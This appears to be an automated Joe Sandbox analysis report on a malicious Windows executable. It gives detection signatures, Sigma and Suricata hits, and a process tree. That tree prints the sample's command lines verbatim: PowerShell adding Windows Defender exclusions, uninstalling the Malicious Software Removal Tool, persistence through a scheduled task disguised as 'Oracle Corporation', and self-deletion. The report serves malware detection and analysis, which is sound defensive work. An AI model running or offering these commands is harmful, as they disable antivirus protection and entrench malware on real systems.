Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
sE5IdDeTp2.exe

Overview

General Information

Sample name:sE5IdDeTp2.exe
renamed because original name is a hash value
Original sample name:dd36f6f79e68d5e54c75527db2da97ad.exe
Analysis ID:1589501
MD5:dd36f6f79e68d5e54c75527db2da97ad
SHA1:a373e613510ada66cea74ffc590c25edc59957ac
SHA256:3030ba393865e41fee490205bf5873b4041275a8830d5e764693771fec2bd35e
Tags:exeuser-abuse_ch
Infos:

Detection

Score:96
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Exploit detected, runtime environment starts unknown processes
Loading BitLocker PowerShell Module
Modifies the context of a thread in another process (thread injection)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Self deletion via cmd or bat file
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Uses dynamic DNS services
Uses schtasks.exe or at.exe to add and modify task schedules
Contains functionality to call native functions
Contains functionality to communicate with device drivers
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains sections with non-standard names
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Schtasks From Env Var Folder
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • sE5IdDeTp2.exe (PID: 7516 cmdline: "C:\Users\user\Desktop\sE5IdDeTp2.exe" MD5: DD36F6F79E68D5E54C75527DB2DA97AD)
    • powershell.exe (PID: 7528 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • Conhost.exe (PID: 5304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7808 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 7876 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • schtasks.exe (PID: 7816 cmdline: C:\Windows\system32\schtasks.exe /delete /f /tn "Oracle Corporation" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • conhost.exe (PID: 7832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • schtasks.exe (PID: 7904 cmdline: C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • conhost.exe (PID: 7912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • schtasks.exe (PID: 7952 cmdline: C:\Windows\system32\schtasks.exe /run /tn "Oracle Corporation" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7960 cmdline: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\sE5IdDeTp2.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • choice.exe (PID: 8048 cmdline: choice /C Y /N /D Y /T 3 MD5: 1A9804F0C374283B094E9E55DC5EE128)
  • dialer_java.exe (PID: 7984 cmdline: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe MD5: DD36F6F79E68D5E54C75527DB2DA97AD)
    • powershell.exe (PID: 8072 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 5232 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 1704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 7196 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • schtasks.exe (PID: 7436 cmdline: C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • conhost.exe (PID: 5568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • conhost.exe (PID: 7544 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7616 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 7688 cmdline: C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 7852 cmdline: C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 7924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 3228 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 4348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 5332 cmdline: C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 3940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 8112 cmdline: C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 8076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 1712 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 1432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 4112 cmdline: C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 3964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 6012 cmdline: C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 5448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7836 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 5628 cmdline: C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 3128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 3492 cmdline: C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 2136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6920 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 6924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 6744 cmdline: C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 6972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 6768 cmdline: C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 6940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 4348 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 4324 cmdline: C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 5928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • schtasks.exe (PID: 1888 cmdline: C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • conhost.exe (PID: 6544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • dialer_java.exe (PID: 7848 cmdline: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe MD5: DD36F6F79E68D5E54C75527DB2DA97AD)
    • powershell.exe (PID: 7864 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 8120 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 1364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 8040 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • schtasks.exe (PID: 1440 cmdline: C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • conhost.exe (PID: 5000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • dialer_java.exe (PID: 6552 cmdline: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe MD5: DD36F6F79E68D5E54C75527DB2DA97AD)
    • powershell.exe (PID: 7220 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 4228 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 6524 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • schtasks.exe (PID: 4624 cmdline: C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • conhost.exe (PID: 5960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • dialer_java.exe (PID: 3872 cmdline: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe MD5: DD36F6F79E68D5E54C75527DB2DA97AD)
    • powershell.exe (PID: 5436 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 1420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 3336 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 4476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 7860 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • schtasks.exe (PID: 7576 cmdline: C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • conhost.exe (PID: 7628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • dialer_java.exe (PID: 4248 cmdline: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe MD5: DD36F6F79E68D5E54C75527DB2DA97AD)
    • powershell.exe (PID: 6008 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 3180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 6520 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 6564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 6816 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • schtasks.exe (PID: 6752 cmdline: C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • conhost.exe (PID: 6820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • dialer_java.exe (PID: 7980 cmdline: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe MD5: DD36F6F79E68D5E54C75527DB2DA97AD)
    • powershell.exe (PID: 7932 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 1668 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 3228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 7404 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • schtasks.exe (PID: 3752 cmdline: C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
      • conhost.exe (PID: 5332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\sE5IdDeTp2.exe", ParentImage: C:\Users\user\Desktop\sE5IdDeTp2.exe, ParentProcessId: 7516, ParentProcessName: sE5IdDeTp2.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7528, ProcessName: powershell.exe
Sigma detected: Powershell Defender Exclusion
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\sE5IdDeTp2.exe", ParentImage: C:\Users\user\Desktop\sE5IdDeTp2.exe, ParentProcessId: 7516, ParentProcessName: sE5IdDeTp2.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7528, ProcessName: powershell.exe
Sigma detected: Suspicious Schtasks From Env Var Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml", CommandLine: C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\sE5IdDeTp2.exe", ParentImage: C:\Users\user\Desktop\sE5IdDeTp2.exe, ParentProcessId: 7516, ParentProcessName: sE5IdDeTp2.exe, ProcessCommandLine: C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml", ProcessId: 7904, ProcessName: schtasks.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\sE5IdDeTp2.exe", ParentImage: C:\Users\user\Desktop\sE5IdDeTp2.exe, ParentProcessId: 7516, ParentProcessName: sE5IdDeTp2.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7528, ProcessName: powershell.exe

Suricata Signatures

TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2025-01-12T17:49:37.345161+010020283713Unknown Traffic192.168.2.449737173.244.207.29443TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for dropped file
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeReversingLabs: Detection: 36%
Multi AV Scanner detection for submitted file
Source: sE5IdDeTp2.exeVirustotal: Detection: 40%Perma Link
Source: sE5IdDeTp2.exeReversingLabs: Detection: 36%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140033FF0 BCryptCloseAlgorithmProvider,free,free,27_2_0000000140033FF0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140035010 BCryptDestroyHash,BCryptDestroyKey,BCryptCloseAlgorithmProvider,free,27_2_0000000140035010
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140034050 BCryptDestroyKey,BCryptCloseAlgorithmProvider,free,free,free,27_2_0000000140034050
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140035080 BCryptDestroyHash,BCryptDestroyKey,BCryptCloseAlgorithmProvider,free,BCryptOpenAlgorithmProvider,BCryptDestroyHash,BCryptDestroyKey,BCryptCloseAlgorithmProvider,free,BCryptGetProperty,malloc,BCryptCreateHash,27_2_0000000140035080
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400340C0 BCryptEncrypt,BCryptEncrypt,27_2_00000001400340C0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140034200 BCryptEncrypt,27_2_0000000140034200
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140035220 BCryptHashData,27_2_0000000140035220
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140035270 BCryptGetProperty,BCryptFinishHash,27_2_0000000140035270
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400342C0 BCryptDecrypt,BCryptDecrypt,27_2_00000001400342C0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140035340 BCryptDestroyHash,BCryptDuplicateHash,27_2_0000000140035340
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400353D0 BCryptDestroyHash,BCryptDestroyKey,BCryptCloseAlgorithmProvider,free,free,27_2_00000001400353D0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140034400 BCryptDecrypt,27_2_0000000140034400
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400344C0 BCryptDestroyKey,BCryptCloseAlgorithmProvider,free,free,free,calloc,memcpy,BCryptOpenAlgorithmProvider,BCryptGetProperty,malloc,malloc,BCryptImportKey,free,malloc,malloc,BCryptGetProperty,BCryptGetProperty,malloc,27_2_00000001400344C0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140034A20 BCryptDestroyKey,BCryptCloseAlgorithmProvider,free,free,free,calloc,memcpy,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGetProperty,malloc,malloc,BCryptImportKey,free,malloc,malloc,BCryptGetProperty,BCryptGetProperty,malloc,27_2_0000000140034A20
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140033C60 BCryptOpenAlgorithmProvider,BCryptCloseAlgorithmProvider,27_2_0000000140033C60
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140033CE0 BCryptDestroyHash,BCryptCloseAlgorithmProvider,free,27_2_0000000140033CE0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140033D40 BCryptOpenAlgorithmProvider,BCryptGetProperty,malloc,27_2_0000000140033D40
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140034FA0 BCryptDestroyKey,BCryptCloseAlgorithmProvider,free,free,free,free,27_2_0000000140034FA0
Source: unknownHTTPS traffic detected: 173.244.207.29:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: sE5IdDeTp2.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400389D0 MultiByteToWideChar,MultiByteToWideChar,calloc,MultiByteToWideChar,FindFirstFileW,free,FindClose,27_2_00000001400389D0
